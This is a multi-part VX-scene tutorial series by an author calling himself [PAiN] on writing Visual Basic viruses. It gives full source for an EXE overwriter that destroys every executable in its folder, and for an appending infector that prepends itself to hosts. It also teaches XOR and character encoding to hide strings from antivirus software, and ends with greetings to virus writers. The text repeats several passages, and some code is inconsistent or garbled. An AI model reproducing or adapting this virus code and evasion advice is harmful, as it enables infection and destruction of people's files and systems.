Part #1
Intro to VB viruses
Many of you people out there will stop reading this article just by the title of it. Most asm coders are really prejudiced against High Level Language viruses and especially Visual Basic ones. Here I guess I would have to greet Murkry for writting the first ever parasitic VB virus. After that I learned many stuff and used some methods of my own which I will teach you through this series of tutorials.
The only reason why I even started writting VB viruses was that I was a macro coder and I wanted to try exe infection. This was my first contact with exe infection. VB viruses have one b i g flow. That is their size. As you all know they are big and that is something we don’t want in a virus is it? To solve this problem we could use variables for oftenly used string to shorten the code but that isn’t much help so we have to accept the size as a flow and try to find many tricks to make it as hard to detect as possible. Another problem of VB viruses is that they need dlls to run(!) not a thing we want for a virus. Besides this is why I started learning asm. VB viruses are for educational purposes only.
You can use encryption for VB viruses as well. I have used character encryption ( used in macro viruses, first used by VicodinES ) and it worked succesfully. Now I am trying to find other methods of encryption especially for VB viruses and you will see the results in later issues of this series.
For any comments and/or suggestions e-mail me at [PAiN]@cypria.com
From [PAiN] (formally known as PhreakX).
The only reason why I even started writting VB viruses was that I was a macro coder and I wanted to try exe infection. This was my first contact with exe infection. VB viruses have one b i g flow. That is their size. As you all know they are big and that is something we don’t want in a virus is it? To solve this problem we could use variables for oftenly used string to shorten the code but that isn’t much help so we have to accept the size as a flow and try to find many tricks to make it as hard to detect as possible. Another problem of VB viruses is that they need dlls to run(!) not a thing we want for a virus. Besides this is why I started learning asm. VB viruses are for educational purposes only.
You can use encryption for VB viruses as well. I have used character encryption ( used in macro viruses, first used by VicodinES ) and it worked succesfully. Now I am trying to find other methods of encryption especially for VB viruses and you will see the results in later issues of this series.
For any comments and/or suggestions e-mail me at [PAiN]@cypria.com
From [PAiN] (formally known as PhreakX).
part #2
EXE Overwritters
EXE Overwritters
I know that overwritters suck, they have no chance of spreading and they are not ” intelligent ” viruses. Dispite all this overwritters can help you understand the basics of the REAL viruses. I will give you the code first and then I will go over it.
Option Explicit Dim myarray() As Byte Dim victim As String Const mysize As Integer = 11776 Private Sub Form_Load() On Error Resume Next Dim Free Free = FreeFile Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free ReDim myarray(mysize) Get #1, 1, myarray Close #Free victim = Dir(App.Path & "\" & "*.EXE") While victim <> "" Open App.Path & "\" & victim For Binary Access Write As #Free Put #1, , myarray Put #1, , mysize Close #Free victim = Dir() Wend End End Sub
Now lets go over it part by part:
Option Explicit Dim myarray() As Byte Dim victim As String Const mysize As Integer = 11776
Here we define the variables that we will use, the ” myarray() ” variable holds tha binary code of the virus, the “victim” variable holds the victim file’s name and the “mysize” variable holds the size of the virus.
Private Sub Form_Load() On Error Resume Next
We open the sub we will use (Form_Load), and we put our error handle there.
Dim Free Free = FreeFile
This is a good idea taken by the y2k virus. This will rid you of read/write errors because it will open free file.
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free ReDim myarray(mysize) Get #1, 1, myarray Close #Free
Now we get the binary code out of our virus and we store it in the “myarray” variable.
victim = Dir(App.Path & "\" & "*.EXE") While victim <> "" Open App.Path & "\" & victim For Binary Access Write As #Free Put #1, , myarray Put #1, , mysize Close #Free
Here we define the victim variable and we put our binary code in the victim program.
victim = Dir() Wend
Then we set victim to nothing, and we repeat the whole process to infect all the .exe files in the current directory.
End End Sub
And finally we close the program and the sub.
This was it … as you can see overwritters are dead easy to write. In the next issue I will discuss appending viruses. For comments and/or questions e-mail me at [PAiN]@cypria.com
From [PAiN] (formally known as PhreakX).
This was it … as you can see overwritters are dead easy to write. In the next issue I will discuss appending viruses. For comments and/or questions e-mail me at [PAiN]@cypria.com
From [PAiN] (formally known as PhreakX).
part #3
EXE Appenders
EXE Appenders
Now we get to the real thing… the EXE appending viruses. This is a simple not encrypted appending virus without any payload.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Cut here-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Option Explicit
Private victim As String
Private myarray() As Byte
Private varray As Byte
Private length As Long
Private chck As String
Const size As Integer = 18432
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long
Private Sub Form_Load()
On Error Resume Next
Dim I As Long
Dim Free
Free = FreeFile
On Error GoTo Fin
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
myarray = Space$(size)
Get #1, 1, myarray
Close #Free
victim = Dir(App.Path & "\" & "*.EXE")
While victim <> ""
' If the victim file, has the same directory and name as the file
' that is running - skip the next part
If LCase(App.Path & "\" & App.EXEName & ".exe") _
<> LCase(App.Path & "\" & App.EXEName & ".exe") Then
Open Victim For Binary Access Read As #Free
varray = Space(LOF(Free)) ' Sets buffer up for the file data
Get #1, 1, varray ' Copy th file data into a variable
Close #Free
chck = Mid(varray, Len(varray)) ' Store the last character in the
' victim file in CheckX
If LCase(chck) <> "^" Then ' if the character = X then the file has
' already been infected, if not continue
Open victim For Binary Access Write As #Free
Put #Free, 1, myarray ' Place our code in the front of the file
Put #Free, size, varray ' Follow it immediatley by the victims code
Put #Free, LOF(Free) + 1, "^" 'Place an X at the end to show it's been
'infected
Close #Free 'Thats how this virus got it's name!
End If
Else
End If
Victim = Dir() ' Find the next file to infect
Wend ' Go back to the start
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
length = (LOF(Free) - size) ' Store the length of the current file minus
' the virus file size in the variable
If Length > 0 Then ' if it's more than 0, the file is infected,
' if not, this is the raw virus file
myarray = Space(length) ' Create buffer in variable, for the size of
' the file
Get #Free, size, myarray ' Get the old host data from out of this file
Close #Free
Open App.Path & "\" & App.EXEName & ".tut" For Binary Access Write As #Free
Put #Free, , myarray ' Place the old host data into a temporary file
Close #Free
idProg = Shell(App.Path & "\" & App.EXEName & ".tut", vbNormalFocus)
' Run the old host code
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
' Get it running application code number
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE ' Wait untill the program is shut down
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
Kill App.Path & "\" & App.EXEName & ".tut" ' Delete the old host code
Else
Close #Free
End If
End
Fin:
End Sub
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Cut here-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Now lets go over it part by part:
Option Explicit Private victim As String Private myrray() As Byte Private varray As Byte Private length As Long Private chck As String Const size As Integer = 18432
Here we define the variables that we will use, the ” myarray() ” variable holds tha binary code of the virus, the “victim” variable holds the victim file’s name and the “mysize” variable holds the size of the virus. You will need to change the number to the size of your virus. The length variable holds the running file’s length and the chck variable will be used to check if we have already infected the file.
Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Private Declare Function OpenProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" _ (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" _ (ByVal hObject As Long) As Long
These are the variables, constants and declarations that we will use for process checking.
Private Sub Form_Load() On Error Resume Next
We open the sub we will use (Form_Load), and we put our error handle there.
Dim Free Free = FreeFile
This is a good idea taken by the y2k virus. This will rid you of read/write errors because it will open free file.
On Error GoTo Fin
This is our error handler. If there is an error it will ignore all code and go to the Fin marker which is the end.
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free myarray = Space$(size) Get #1, 1, myarray Close #Free
Now we get the binary code out of our virus and we store it in ” myarray ” variable.
victim = Dir(App.Path & "\" & "*.EXE") While victim <> "" If LCase(App.Path & "\" & App.EXEName & ".exe") _ <> LCase(App.Path & "\" & App.EXEName & ".exe") Then
If our victim file is the same as the one running, same directory and same name, we do not infect.
Open Victim For Binary Access Read As #Free varray = Space(LOF(Free)) Get #1, 1, varray Close #Free
We get the binary code from our victim file and store it in the varray variable.
chck = Mid(varray, Len(varray))
We store the last character of the victim file in the chck variable for later use of infection checking.
If LCase(chck) <> "t" Then
If the last character isn’t ” t ” then it means that its not infected so continue.
Open victim For Binary Access Write As #Free Put #Free, 1, myarray Put #Free, size, varray Put #Free, LOF(Free) + 1, "t" Close #Free End If Else End If
Now we write our virus code first and then the original file code in the file and we also include the “t” character to mark it as infected.
Victim = Dir() Wend
This find the next file to infect and redoes the whole routine.
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free length = (LOF(Free) - size) If Length > 0 Then myarray = Space(length) Get #Free, size, myarray Close #Free
Now we get the file’s size minus the virus, if it isn’t 0 it means that it is infected.
Open App.Path & "\" & App.EXEName & ".tut" _ For Binary Access Write As #Free Put #Free, , myarray ' Place the old host data into a temporary file Close #Free
We put the host data in a file we make. A temporary file.
idProg = Shell(App.Path & "\" & App.EXEName & ".tut", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit
Now we run the original host program.
Do While iExit = STILL_ACTIVE ' Wait untill the program is shut down DoEvents GetExitCodeProcess hProg, iExit Loop
Wait for the program to be terminated.
On Error Resume Next Kill App.Path & "\" & App.EXEName & ".tut" ' Delete the old host code Else End If End Fin: End Sub
Now we delete the temporary file and then we close our sub.
For any comments and / or suggestions, even if it is bad e - mail me at [PAiN]@cypria.com.
From [PAiN] (formally known as PhreakX).
For any comments and / or suggestions, even if it is bad e - mail me at [PAiN]@cypria.com.
From [PAiN] (formally known as PhreakX).
part #4
Encryption
Encryption
(NOTE by Cicatrix:”Some of the code below was written in ASCII and does not translate to HTML correctly. Please refer to the LZO #2 zine for the correct version”)
Now we get to a more interesting part of vb viruses, better for all viruses the encryption. You really don’t want to make it easy for the AVs do you?? Here is where you will use encryption.
Currently I have only tried two kinds of encryption for vb viruses and they both work finely.
The first one is probably known to all macro coders, its character encryption, first used by VicodinES. This is easy to use and you can hide your text strings finely.
example of use:
Lets say that you have they payload of a messagebox:
MsgBox “This is my virus”
Now this text string is easier to spot than something like:
MsgBox Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(105) + _ + Chr(115) + Chr(32) + Chr(109) + Chr(121) + Chr(32) + Chr(118) + _ + Chr(105) + Chr(114) + Chr(117) + Chr(115)
A common mistake people make when they use this is that they put the Chr’s in speachmarks (””) and they get a messagebox containing Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(105) + Chr(115) + Chr(32) + Chr(109) + Chr(121) + Chr(32) + Chr(118) + Chr(105) + Chr(114) + Chr(117) + Chr(115) instead of, ‘This is a virus.’
A good application you can use to quickly encrypt your text strings is by using VicodinES’s string converter.
Now a more advanced encryption method is Xor encryption. This encryption function was written by jackie http://coderz.net/jackie/). In order to use this encryption method you have to enter this function in your code:
Currently I have only tried two kinds of encryption for vb viruses and they both work finely.
The first one is probably known to all macro coders, its character encryption, first used by VicodinES. This is easy to use and you can hide your text strings finely.
example of use:
Lets say that you have they payload of a messagebox:
MsgBox “This is my virus”
Now this text string is easier to spot than something like:
MsgBox Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(105) + _ + Chr(115) + Chr(32) + Chr(109) + Chr(121) + Chr(32) + Chr(118) + _ + Chr(105) + Chr(114) + Chr(117) + Chr(115)
A common mistake people make when they use this is that they put the Chr’s in speachmarks (””) and they get a messagebox containing Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(105) + Chr(115) + Chr(32) + Chr(109) + Chr(121) + Chr(32) + Chr(118) + Chr(105) + Chr(114) + Chr(117) + Chr(115) instead of, ‘This is a virus.’
A good application you can use to quickly encrypt your text strings is by using VicodinES’s string converter.
Now a more advanced encryption method is Xor encryption. This encryption function was written by jackie http://coderz.net/jackie/). In order to use this encryption method you have to enter this function in your code:
Private Function Decrypt_Encrypt(Text) As String
XorKey = 133
For EncryptDecryptLoop = 1 To Len(Text)
Decrypt_Encrypt = Decrypt_Encrypt _
& Chr(Asc(Mid(Text, EncryptDecryptLoop, 1)) Xor XorKey)
Next
End FunctionNow to go back to our example with the messagebox:
MsgBox “This is a virus” will become,
MsgBox Decrypt_Encrypt(”A?tä·tä·ö·átlâä”)
As you can see a call to decrypt your code would be Decrypt_Encrypt
Another example of use would be:
MsgBox “This is a virus” will become,
MsgBox Decrypt_Encrypt(”A?tä·tä·ö·átlâä”)
As you can see a call to decrypt your code would be Decrypt_Encrypt
Another example of use would be:
Print #1, Decrypt_Encrypt("ßnuur·rrluó")You can use it everywhere there are text strings. Also the Xor key can be whatever number between 0 - 255 you want it to be. In the function here I took it to be 133 but in my text strings I used another XorKey because its just an example.
A good program you could use to encrypt your strings is VB Crypt written by me. You can get it with the Lz0NT zine #2 with these articles.
For any good/bad comments/suggestions e-mail me at [PAiN]@cypria.com.
From [PAiN] with little help of jackie
A good program you could use to encrypt your strings is VB Crypt written by me. You can get it with the Lz0NT zine #2 with these articles.
For any good/bad comments/suggestions e-mail me at [PAiN]@cypria.com.
From [PAiN] with little help of jackie
Part #5
Credits/Greetz
Credits/Greetz
Here are the people which inspired me and help me in writting these tutorials directly or indirectly.
---------------------------------------------------------------------------
Credits
---------------------------------------------------------------------------
Murkry............. For writting the first ever parasitic VB virus
jackie............. For the Xor encryption function and all his help
the y2k author..... I don't know you but your virus had some good ideas in
it which I used in mine and I want to give you credit
for them.
-----------------------------------------------------------------------------
Greetz
-----------------------------------------------------------------------------
These names are in no specific order. I am sorry if I forgot anyone but I'm
only human.
Flitnic............ For being a friend and being there for me whenever I
needed him.
jackie............. For all the help and support.
[PaX].............. For being a great buddy.
[Clau]............. For the help in my first days when I couldn't code
anything.
Lord Arz........... For helping me with my word macro viruses.
Evul............... For being next to me.
Rhape79............ For accepting me into Ultimate Chaos even though I left
after some time. Thanks.
Ruzz............... For being such a good friend.
Roadkill........... For all the virus collecting help.
RAiD............... For being my motivation into virus writting. A HLL
coder who is afraid of nothing and leaves chaos behind
him.
Gigabyte........... For not killing me even though I give her a hard time=)
BSL4............... For helping me with hacking.
Ph0tek............. For trying to teach me how to hack.
Yozak.............. For being a friend and a great helper with my early
viruses.
DCHacker........... For being a friend and for the RedHat cd =)
The_Might.......... A good friend
SiLVieR............ Who knows better football?? =)
VaMpGaL............ For being a good friend.
darkman............ For being a perverted little buddy
DX100h............. For your asm tutorials.
Tally.............. For being a really good friend
[Manu]............. For the good advices
Spyda.............. For all the help
Kamaileon.......... For being a friend
Reverant........... Thank you for the modivation in starting with asm
Veedee............. Your asm tuts are the best out there, write some more,
and thanks for the access in #vir.
To the whole VX scene... keep codin
To everybody I forgot or couldn't fit here. =)) I luv you all